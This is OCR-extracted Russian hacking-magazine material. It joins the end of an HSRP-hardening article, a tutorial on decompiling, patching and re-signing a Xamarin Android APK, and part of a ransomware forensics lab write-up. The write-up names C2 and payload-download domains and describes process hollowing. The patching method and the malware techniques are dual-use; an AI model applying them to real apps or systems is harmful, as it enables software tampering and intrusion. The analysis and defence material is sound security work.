l1ght # Указываем пароль0
R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:
00 may 2
2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0
R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00
may 2
2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0
R1(config-keychain)# key
2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ0
R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль0
R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:
00 may 3
2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0
R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00
may 3
2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0
R1(config)# interface GigabitEthernet 0/
1 # Входим в режим конфигурации интерфейса0
R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP #
Включаем MD5-аутентификацию с использованием keychain для группы
HSRP 10
Ограничение трафика HSRP
HSRP использует протокол транспортно го уровня UDP для приема и переда чи служеб ных объявле ний . С помощью настрой ки ACL (Access List Control) мы можем ограничить трафик UDP по портам источника и назначения 1985. Если злоумыш ленник будет проводить инъекцию HSRP-пакетов, эти пакеты будут отброшены механизмом ACL.
Пример конфигура ции расширен ного ACL для безопасности HSRPv1:
R1(config)# ip access-list extended DropHSRP # Создаем расширенный
ACL с названием DropHSRP0
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.
0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по
обратной 30-битной маске, по портам 1985 и по мультикастовому
IP-адресу 224.0.0.20
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее
запрещаем UDP-трафик по портам 19850
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик
по IP0
R1(config)# interface GigabitEthernet0/
0 # Входим в режим конфигурации интерфейса0
R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный
ACL к интерфейсу на IN0
Расширен ный ACL для версии HSRPv2:
R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный
ACL с названием DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.
0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по
обратной 30-битной маске, по портам 1985 и по мультикастовому
IP-адресу 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее
запрещаем UDP-трафик по портам 1985
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик
по IP
R1(config)# interface GigabitEthernet0/0 # Входим в режим
конфигурации интерфейса
R1(config-if)# ip access-group DropHSRPv2 in # Привязываем
настроенный ACL к интерфейсу на IN
Во время настрой ки ACL используют ся обратные маски (Wild Card masks).
ЗАКЛЮЧЕНИЕ
Протоко лы класса FHRP помогают организо вать систему горячего резер вирования шлюзов . Такие системы широко распростра нены в рамках рас смотренно го нами кейса . Но теперь ты знаешь , что может произой ти с сетью, если инженер не позаботил ся о безопасности конфигура ции самих FHRPпротоко лов .
Кстати говоря, FHRP Hijacking может служить альтер нативой ARP-спуфин гу. В сетях AD открывают ся все возможнос ти для Relay-атак и сбора информации , также можно реализовать фишинговые атаки и многое другое . Эта статья подска жет новые векторы атак для пентесте ров, а сетевые адми нистра торы обзаведут ся новыми кейсами , чтобы повысить безопасность сво ей сети.

|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ИЗУЧАЕМ И ВЗЛАМЫВАЕМ МОБИЛЬНОЕ ПРИЛОЖЕНИЕ НА С#
Программи |
ровать |
|
для |
Android можно |
|||
не только на Java или Kotlin. Разработ |
чики |
||||||
на С# имеют |
возможность |
создавать |
|||||
мобильные |
приложе |
ния |
с помощью плат |
||||
формы Xamarin. Сегодня мы |
поговорим |
||||||
о том, как исследовать |
такие приложе |
ния |
|||||
и как при необходимос |
ти их можно взло |
||||||
мать. |
|
|
|
|
|
|
|
Mazay stariy2003@yandex.ru
Попалось мне недавно в руки мобильное приложе ние для Android, которое работало не совсем так, как хотелось бы. Значит , нужно хорошенько покопаться в его потрошках !
Сказано — сделано : берем свежую версию GDA, открываем наш подопыт ный APK и видим, что выглядит он как то уж слишком подозритель но. Классы всех activity содержат пример но одинако вый шаблонный код такого типа:
public class MainActivity extends BaseActivity
{
private ArrayList refList;
public static final String __md_methods;
static {
MainActivity.__md_methods = "n_onCreate:\(Landroid/os/
Bundle;\)V:GetOnCreate_Landroid_os_Bundle_Handler
.....
_ILandroid_os_Bundle_Handler:Android.Locations.
ILocationListenerInvoker, Mono.Android, Version=0.0.0.0,
Culture=neutral, PublicKeyToken=null\n";
Runtime.register("Megaprogram.Activity.MainActivity,
Megaprogram", MainActivity.class, MainActivity.__md_methods);
}
public void MainActivity(){
super();
if (this.getClass() == MainActivity.class) {
Object[] objArray = new Object[0];
TypeManager.Activate("Megaprogram.Activity.MainActivity,
Megaprogram", "", this, objArray);
}
return;
Это наводит на мысли , что нам попался неправиль ный APK. Возможно , какой то фреймворк ... Если поменять расширение .apk на .zip, то в глаза бросает ся необычная для обычных мобильных приложе ний папка assemblies, содержащая кучу DLL-библиотек .
Посколь ку многие библиоте ки содержат в названии слово Xamarin, ста новится понятным , откуда взялось такое однообра зие , — основной код прог раммы написан на С# и располага ется в библиоте ке DLL, а на Java написаны лишь шаблонные куски кода, предназна чен ные для связи между средой выполнения Mono и виртуаль ной машиной среды выполнения Android (ART).
Ну да ладно , в сторону теорию, пора браться за дело.
ВЫБИРАЕМ ИНСТРУМЕНТ
Для работы с .NET я использую три инстру мента.
1.dotPeek от JetBrains. Позволя ет декомпилиро вать и исследовать файлы
.dll и .exe. У данного продук та самая, на мой взгляд, удобная навигация по декомпилиро ванному коду, так что, если говорить только об исследова нии алгорит ма, этот инстру мент самый удобный .
|
|
|
|
|
|
|
|
|
|
Главное окно dotPeek |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
||||||||||
2. dnSpy — позволя |
ет |
декомпилиро |
вать |
, редактировать |
, компилиро |
вать |
||||||||||||||
|
|
|
|
|
|
|
||||||||||||||
|
и отлаживать |
сборки |
.NET. Следует |
отметить , что все функции |
, кроме |
|||||||||||||||
|
декомпиляции |
, работают далеко не всегда , многое зависит от конкрет |
ной |
|||||||||||||||||
|
ситуации |
. В моем случае |
компиляция |
не заработала |
: софтина |
не смогла |
||||||||||||||
|
связать |
пространс |
тва имен Mono и Android. |
|
|
|
|
|
|
Главное окно dnSpy
3.Simple-assembly-explorer — достаточ но старый , но от этого не утратив ший актуаль ности софт. Позволя ет декомпилиро вать .dll и .exe в код на С#
или CIL (Common Intermediate Language — «высокоуров невый ассемблер »
виртуаль ной машины .NET. Промежу точный язык, разработан ный фирмой
Microsoft для платформы .NET Framework). Самая полезная воз
можность — этот инстру мент умеет компилиро вать код на CIL, что поз воляет без особого труда вносить изменения в исследуемые файлы .
Главное окно Simple assembly explorer
Для распаков ки и запаковки APK я решил использовать 7z вместо стандар тного для таких случаев apktool. Ниже я объясню почему.
РАЗБИРАЕМ APK
Сначала я попытался использовать для распаков ки APK известную программу apktool, но при запаковке возникла проблема из за того, что apktool «не зна ет» такой тип файлов , как .dll, не считает его стандар тным для APK. Стан дартны ми считают ся только файлы с именами из следующе го массива :
private final static String[] APK_STANDARD_ALL_FILENAMES = new String
[] {
"classes.dex", "AndroidManifest.xml", "resources.arsc", "res", "lib",
"libs", "assets", "META-INF" };.
При сборке APK все неизвес тные файлы сжимают ся (тип сжатия DEFLATED),
а Xamarin надеется |
увидеть |
свои DLL несжатыми |
(STORED) и от разочарова |
|
|||||||||||
ния не может нормаль |
но прочитать |
их. Сначала |
возникла |
мысль исправить |
|||||||||||
и пересобрать |
apktool, но потом я решил поступить |
проще : распаковы |
вать |
||||||||||||
и запаковывать |
файлы обычным |
архивато |
ром, без сжатия . Ведь декодирова |
|
|||||||||||
ние манифеста или получение |
smali-кода мне в данной |
задаче не требует |
ся, |
||||||||||||
а зачем тогда усложнять себе жизнь без необходимос |
ти |
? |
|
|
|
|
Итак, распаковы ваем :
7z.exe x program.apk -oprogram_apk
После распаков ки , помимо привыч ных для APK файлов , получаем каталог assemblies с кучей dll. Из них нас интересу ет одна библиоте ка , имя которой совпада ет с именем приложе ния . Ее то мы и будем потрошить .
ПАТЧИМ .NET
Анализ DLL и поиск места для внесения правок выходит за рамки сегод няшней статьи, так как мыслям на эту тему будет тесно даже в книге . Останов
люсь лишь на техничес |
ких моментах . Как я писал выше, dnSpy отказал ся ком |
||||||||||
пилировать |
исправленную |
библиоте |
ку, поэтому |
пришлось |
прибег нуть |
||||||
к помощи Simple-assembly-explorer (SAE). |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|||||
Допус тим, нам необходимо |
, чтобы |
данная |
функция |
всегда возвра щала |
|||||||
true: |
|
|
|
|
|
|
|
|
|
|
protected bool IsOnline()
{
ConnectivityManager connectivityManager = (ConnectivityManager)
this.GetSystemService#0x0a0001d5("connectivity");
if (connectivityManager == null)
{
return false;
}
NetworkInfo activeNetworkInfo = connectivityManager.
get_ActiveNetworkInfo#0x0a0002ad();
return activeNetworkInfo != null && activeNetworkInfo.
get_IsConnected#0x0a0002ae();
}
Посколь ку правки можно вносить только в IL-код, в окне SAE переключа емся на вкладку Details, где наблюда ем такую картину :
0 |
L_0000: |
ldarg.00 |
|
|
|
|
|
|
|
1 |
L_0001: |
ldstr |
|
"connectivity"0 |
|
||
|
2 |
L_0006: |
callvirt |
|
Java.Lang.Object Android.Content. |
|||
|
Context::GetSystemService(System.String)0 |
|
|
|
||||
|
3 |
L_000b: |
castclass |
Android.Net.ConnectivityManager0 |
||||
|
4 |
L_0010: |
stloc.00 |
|
|
|
|
|
|
5 |
L_0011: |
ldloc.00 |
|
|
|
|
|
|
6 |
L_0012: |
brtrue.s |
|
9 -> ldloc.00 |
|
||
|
7 |
L_0014: |
ldc.i4.00 |
|
|
|
|
|
|
8 |
L_0015: |
ret0 |
|
|
|
|
|
|
9 |
L_0016: |
ldloc.00 |
|
|
|
|
|
|
10 |
L_0017: |
callvirt |
|
Android.Net.NetworkInfo Android. |
|||
|
Net.ConnectivityManager::get_ActiveNetworkInfo()0 |
|
||||||
|
11 |
L_001c: |
stloc.10 |
|
|
|
|
|
|
12 |
L_001d: |
ldloc.10 |
|
|
|
|
|
|
13 |
L_001e: |
brfalse.s |
17 -> ldc.i4.00 |
|
|||
|
14 |
L_0020: |
ldloc.10 |
|
|
|
|
|
|
15 |
L_0021: |
callvirt |
|
System.Boolean Android.Net. |
|||
|
NetworkInfo::get_IsConnected()0 |
|
|
|
|
|||
|
16 |
L_0026: |
ret0 |
|
|
|
|
|
|
17 |
L_0027: |
ldc.i4.00 |
|
|
|
|
|
|
18 |
L_0028: |
ret0 |
|
|
|
|
|
Тут есть два пути. |
|
|
|
|
|
|
||
|
1. Подой |
ти к делу |
основатель |
но , |
фундамен |
таль |
но , изучить |
язык CIL |
и написать необходимый код самостоятель но.
2.Написать нужную функцию на C# и скомпилиро вать в CIL, получив тем самым нужный код автомати чески.
Явыбрал второй вариант — это гораздо быстрее . Более того, немножко погуглив , можно обнаружить очень полезный сайт sharplab.io, на котором весьма удобно конверти ровать код из C# в CIL.
Итак, вводим в левой вкладке следующее :
bool function() {
return true;
}
и справа среди кучи лишнего получаем :
IL_0000: nop0
IL_0001: ldc.i4.10
IL_0002: stloc.0
IL_0003: br.s IL_00050
IL_0005: ldloc.0
IL_0006: ret0
Вставляем полученный код в библиоте ку с помощью Simple assembly explorer, не забывая при этом сохранить изменен ную DLL. Если мы ничего не напутали и нигде не ошиблись , то пора собирать новый APK.
СОБИРАЕМ APK ОБРАТНО
Для сборки , как я уже писал выше, будем использовать 7z в режиме без сжа тия. Полученный таким образом APK будет большего размера , чем исходный, ну да размер не главное :
7z.exe a -tzip -mx0 -r0 program_patched_unalign_unsigned.apk .\
program_apk\*.*
Неболь шое пояснение : -tzip — формат архива , -mx0 — отсутствие сжатия , - r0 — рекурсивный обход всех подкатало гов .
Да, перед сборкой лучше удалить каталог META-INF, содержащий старую подпись . Он не нужен, ведь нам придет ся подписывать APK самостоятель но . Затем нужно создать сертификат для подписи и поместить его в хранили ще . Если у тебя уже есть сертификат , то этот шаг можно пропус тить . Создаем сертификат с помощью утилиты keytool из состава JDK:
"c:\Android\Android Studio\jre\bin\keytool.exe" -genkey -v -keystore
keys.keystore -alias key -keyalg RSA -keysize 2048 -validity 10000
Она задаст стандар тные вопросы :
0
Enter keystore password:0 Re-enter new password:0
What is your first and last name?0 [Unknown]: x0
What is the name of your organizational unit?0 [Unknown]: x0
What is the name of your organization?0 [Unknown]: x0
What is the name of your City or Locality?0 [Unknown]: x0
What is the name of your State or Province?0 [Unknown]: x0
What is the two-letter country code for this unit?0 [Unknown]: x0
Is CN=x, OU=x, O=x, L=x, ST=x, C=x correct?0 [no]: yes
0
Generating 2 048 bit RSA key pair and self-signed certificate (SHA256withRSA) wi0
th a validity of 10 000 days0
for: CN=x, OU=x, O=x, L=x, ST=x, C=x0 [Storing keys.keystore]
0
Ну и после этого можно переходить к подписыва нию :
jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
keys.keystore -signedjar program_pathed_unalign.apk
program_pathed_unalign_unsigned.apk key
В результате будет создан почти готовый к установ ке файл program_pathed_unalign.apk. «Почти » — потому что перед использовани ем его следует выровнять программой zipalign из состава build-tools SDK Android. Данная процеду ра гарантиру ет , что все несжатые файлы в архиве выровнены относитель но начала файла . Это позволя ет получить доступ к файлам нап рямую, без необходимос ти копирования данных в ОЗУ, что уменьшит исполь зование памяти твоим приложе нием .
Итак, ровняем :
zipalign.exe -v 4 program_pathed_unalign.apk program_pathed.apk
После этого можно смело устанав ливать программу на телефон или эмулятор и приступать к ее тестирова нию .
ВЫВОДЫ
Как видишь, Xamarin’овские сборки ничуть не сложнее для анализа , чем род ные приложе ния ОС Android, надо лишь учесть некоторые тонкости при сбор
ке APK.
Вот несколь ко полезных ссылок , которые помогут тебе в работе с подобными приложе ниями:
•GDA
•dotPeek
•dnSpy
•SAE
•SDK Platform Tools
•Sharplab
•Zipalign

|
|
|
hang |
e |
|
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||||
|
to |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
|
||
|
. |
|
|
c |
|
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|
|||
|
-x |
|
|
g |
|
|
|
|
||||
|
|
|
n |
|
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
rayhunt454 grigadan454@gmail.com
УРОКИ ФОРЕНЗИКИ
В этой статье мы исследуем вредонос ный файл на примере лаборатор ной работы Ransomed с ресурса CyberDefenders. Мы научимся вручную распаковы вать код, определим тех нику внедрения вредонос ной программы в процесс и отве тим на ряд вопросов .
Нам предложен такой сценарий : организа цию взломали , команда SOC обна ружила загружен ный исполняемый файл. Наша задача — исследовать его и разработать индикато ры компро мета ции для последу юще го детектирова ния.
Иссле дова ние вредонос ного файла необходимо проводить в изолиро ван ной среде . Как создать лабораторию для анализа вредоно сов , подробно расска зано в статье «Код под надзором . Создаем виртуаль ную лабораторию для анализа малвари ».
Итак, загружа ем вредонос и начинаем его исследовать . По результатам решения кейса необходимо ответить на несколь ко вопросов , но я покажу, только как его решать, и не буду приводить ответы . Лучше повтори весь про цесс самостоятель но , чтобы разобрать ся и закрепить материал .
ИНСТРУМЕНТАРИЙ
Для исследова ния вредонос ного файла восполь зуемся следующим софтом .
1.DIE — программа для определе ния типов файлов .
2.PeStudio — программа для поиска артефак тов исполняемых файлов .
3.IDA Pro — интерак тивный дизассем блер, используемый для реверс инжи ниринга .
4.Wireshark — инстру мент для анализа сетевого трафика .
5. Burp Suite — использует ся в качестве |
прозрачно |
го прокси сервера |
|||||||
|
|
|
|
|
|
|
|
||
|
с целью анализа |
взаимо дей ствия |
вредонос |
ного |
файла по протоко |
лу |
|||
|
HTTPS. |
|
|
|
|
|
|
|
6.Loki Scanner — сканер IOCs.
7.YaraEditor — программа для тестирова ния и создания правил YARA.
8.ApiLoger — утилита для анализа вызываемых WinAPI-функций исследуемо го вредоно са.
9.x64dbg — отладчик с открытым исходным кодом для Windows, предназна ченный для анализа вредонос ных программ .
Анализи ровать вредонос ный модуль мы будем в четыре этапа :
1.Статичес кий анализ .
2.Поведен ческий анализ .
3.Динами чес кий анализ .
4.Создание индикато ров компро мета ции .
СТАТИЧЕСКИЙ АНАЛИЗ
В первую очередь получим MD5-хеш сумму исполняемо го файла и проверим
ее на VirusTotal. По MD5 a2f33095ef25b4d5b061eb53a7fe6548 VirusTotal выда
ет нам первичную информацию об исполня емом файле .
Далее скормим исследуемый файл утилите DIE и выясним , какой ком пилятор и компонов щик использовал ся при создании вредоно са , а также определим , упакован он или нет.
Информа ция о компилято ре и компонов щике
Итак, мы узнали , что вредонос ный модуль разработан на C/C++ и собран для 32-разрядных операци онных систем . DIE определя ет упаков щик с помощью загружен ных сигнатур , но идентифици ровать ручной упаков щик не позволя ет. Для этого необходимо посмотреть энтропию файла по сек циям.
Что такое энтропия исполняемо го файла , расска зано в статье «Энтро пия . Как хаос помогает искать вирусы».
Информа ция об энтропии исполняемо го файла
Значение энтропии 7,677, значит , файл упакован . Из рисунка выше видно , что исследуемый файл имеет четыре секции , энтропия секции .text равна 7,844.
Загрузим файл в утилиту PeStudio, чтобы найти всевоз можные артефак ты. Нам интерес ны времен ные метки компиляции файла , загружа емые библиоте ки, используемые ресурсы , информация о версии исполняемо го файла , характерные строки , а также отладоч ная информация и файл сборки (Manifest). Все это пригодит ся нам при создании файловой сигнатуры .
Отладоч ная информация
Строка C:\moz\vidaj.pdb нам интерес на для создания правила детек тирования . На данном этапе мы выяснили , что исполняемый файл упакован , и получили характерные строки .
Прежде чем приступить к динамичес кому анализу , изучим поведение вре доносного модуля. На этом этапе выявим сетевое взаимо действие с управля ющим сервером , а также используемые функции Windows API.
Запус тим утилиту INetSim в виртуаль ной машине Kali Linux. Также запус тим Burp Suite для анализа взаимо дей ствия по HTTPS и будем слушать сетевой трафик взаимо дей ствия , используя Wireshark.
Запус тим Api Loger, выберем исполняемый файл chalenge.exe и начнем писать логи.
Вызыва емые Windows API функции
Исполня емый файл использует функцию IsDebbugerPresent с целью анти отладки. Далее запущенный процесс считыва ется с помощью функции
ReadProcessMemory, функция VirtualAllocEx выделяет память и данные записывают ся в буфер в адресное пространс тво процес са WriteProcessMemory. Этот механизм похож на технику внедрения в процесс
ProcessHollowing.
Теперь давай посмотрим на сетевой трафик .
Сетевое взаимо дей ствие вредонос ного модуля
Как видно из рисунка выше, исполняемый файл взаимо дей ству ет со сле
дующими доменами : api.2ip.ua, kotob.top, tzgl.org.
В Burp Suite видно взаимо действие по протоко лу HTTPS.
Запрос к api.2ip.ua
Запрос к tzgl.org
Для определе ния IP-адреса исполняемый файл делает запрос к https:// api.2ip.ua, а далее загружа ет с ресурса https://tzgl.org/files/1/
исполняемый файл build3.exe.
Как мы помним , в INetSim есть файлы заглушки . После запроса к tzgl.org загружен ный файл build3.exe запускает ся.
|
|
Запуск |
загружен |
ного |
файла build3.exe |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|||||
Посколь |
ку мы собрали |
лабораторию |
для анализа |
вредонос |
ных |
файлов , |
|||||||
в нашем случае |
загружа |
ется |
файл заглушка |
утилиты |
INetSim. Также обна |
||||||||
ружен HTTP-запрос к ресурсу tzgk.org. |
|
|
|
|
|
|
|
HTTP-запрос к домену tzgk.org
Исполь зуя утилиту Process Hacker 2, рассмот рим поведение запущенного файла .
Дочер ние процес сы исполняемо го файла challenge.exe
Как видно из рисунка , процесс challenge.exe запускает дочерние процес сы build2.exe и build3.exe, которые, в свою очередь , запускают conhost.exe.
Далее происхо дит шифрование всех файлов , которым назнача ется рас ширение .shgv. В конце каждого зашифрован ного файла хранит ся одинако вая структура , в которой записаны идентифика тор и данные в формате base64.
Содер жимое зашифрован ного файла
На данном этапе мы выявили сетевое взаимо дей ствие вредонос ного файла , а также обнаружи ли технику внедрения в процесс Process Hollowing.
Авторы вредоно са часто используют функции Windows API для выделения памяти, чтобы дальше загрузить в это место полезную нагрузку , которая будет распаковы вать исполняемый код. Значит , наша задача — обнаружить этот участок кода и выяснить , какие привиле гии ему выдавались . Далее мы будем шаг за шагом идти по коду в поисках функции распаков ки .
После загрузки файла нажимаем F9 и попадаем в точку входа исполня емого файла .
Точка входа
Нас интересу ет функция VirtualAlloc, основная задача которой — выделение памяти в адресном пространс тве процес са.
Для этого нажимаем Ctrl + G, набираем VirtualAlloc и переходим в этот участок кода.
Поиск функции VirtualAlloc
Ставим точку останова на входе в данную функцию (клавиша F2).
Точка останова на входе в функцию VirtualAlloc
Спускаем ся пошагово ниже (F8), находим участок выхода из данной функции и попадаем на следующий участок кода.
Участок кода передачи выполнения шелл коду
После выхода из функции VirtualAlloc в регистре EAX 029E0000 хранит ся адрес выделенной памяти. Затем функция call 2836512 записывает код в выделенное адресное пространс тво , инструк ция jmp dword ptr ss:[ebp- 4] использует ся для передачи выполнения в шелл код. Остановим ся на этой инструк ции , щелкнем правой кнопки мыши, выберем переход к карте памяти и посмотрим , какие права используют ся для выделенной памяти по адресу ss:[ebp-4].
Права доступа выделенного участка кода
Как видно из рисунка выше, в выделенной памяти установ лены права ERW на чтение , запись и выполнение . Далее мы попадаем в участок исполняемо го кода по адресу , выделенному с помощью функции Windows API
VirtualAlloc.
Участок шелл кода
Здесь вредонос ный код получает адреса функций в библиоте ках user32.dll, kernel32.dll, ntdll.dll.
Получе ние адресов используемых WinAPI-функций из библиотек user32, kernel32, ntdll
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
|
p |
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
УРОКИ ФОРЕНЗИКИ
Если пролис тать ниже, то из библиоте ки kernel32 загружа ется 16 функций :
WinExec, CreateFile, WriteFile, CloseHandle, CreateProcessA,
GetThreadContext, |
VirtualAlloc, |
VirtualAllocEx, |
VirtualFree, |
|
ReadProcessMemory, |
WriteProcessMemory, |
SetThreadContext, |
||
ResumeThread, |
WaitForSingleObject, |
GetModuleFileNameA, |
GetCommandLineA. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Давай |
поговорим |
о методе, который вредонос |
использует , чтобы скрывать |
|||||||||||||||||||||||||||||||||
строки от исследова |
теля |
, — Stack Strings. Основная идея этого метода зак |
||||||||||||||||||||||||||||||||||
лючается |
в перемещении |
строки в стек по одному символу |
. Обычно для этого |
|||||||||||||||||||||||||||||||||
выделяется |
блок памяти, далее с помощью инструк ции |
MOV символ помеща |
||||||||||||||||||||||||||||||||||
ется в выделенную |
область. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
После этого вредонос |
|
вызывает |
функцию |
|
RegisterClassExA, |
а |
затем |
|||||||||||||||||||||||||||||
|
|
|
|
|
||||||||||||||||||||||||||||||||
запутывает |
две строки — saodkfnosa9uin и mfoaskdfnoa. Спустись |
ниже |
||||||||||||||||||||||||||||||||||
в коде, и увидишь |
описан ный |
процесс |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
Во время поведенческо |
го анализа |
мы обнаружи |
ли , что после запуска |
|||||||||||||||||||||||||||||||||
файла |
создает |
ся |
|
дочерний |
процесс |
, в который передается |
выполнение |
, |
||||||||||||||||||||||||||||
а также из библиоте |
ки kernel32.dll загружа |
ются |
функции |
CreateProcessA, |
||||||||||||||||||||||||||||||||
VirtualAllocEx, |
|
|
|
|
|
|
GetThreadContext, |
|
|
|
|
WriteProcessMemory, |
||||||||||||||||||||||||
SetThreadContext и ResumeThread. Значит , вредонос |
ный |
модуль использует |
||||||||||||||||||||||||||||||||||
технику |
Process Hollowing. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Так называется |
один из популярных |
методов внедрения |
вредонос |
ного |
||||||||||||||||||||||||||||||||
кода в память процес са . Чтобы добиться результата , вредонос |
ное |
ПО уда |
||||||||||||||||||||||||||||||||||
ляет легитимный |
|
код из памяти целевого процес са и перезаписы |
вает |
|||||||||||||||||||||||||||||||||
это пространс |
тво памяти своим исполняемым |
|
файлом . |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||
Сначала |
вредонос |
ная |
программа |
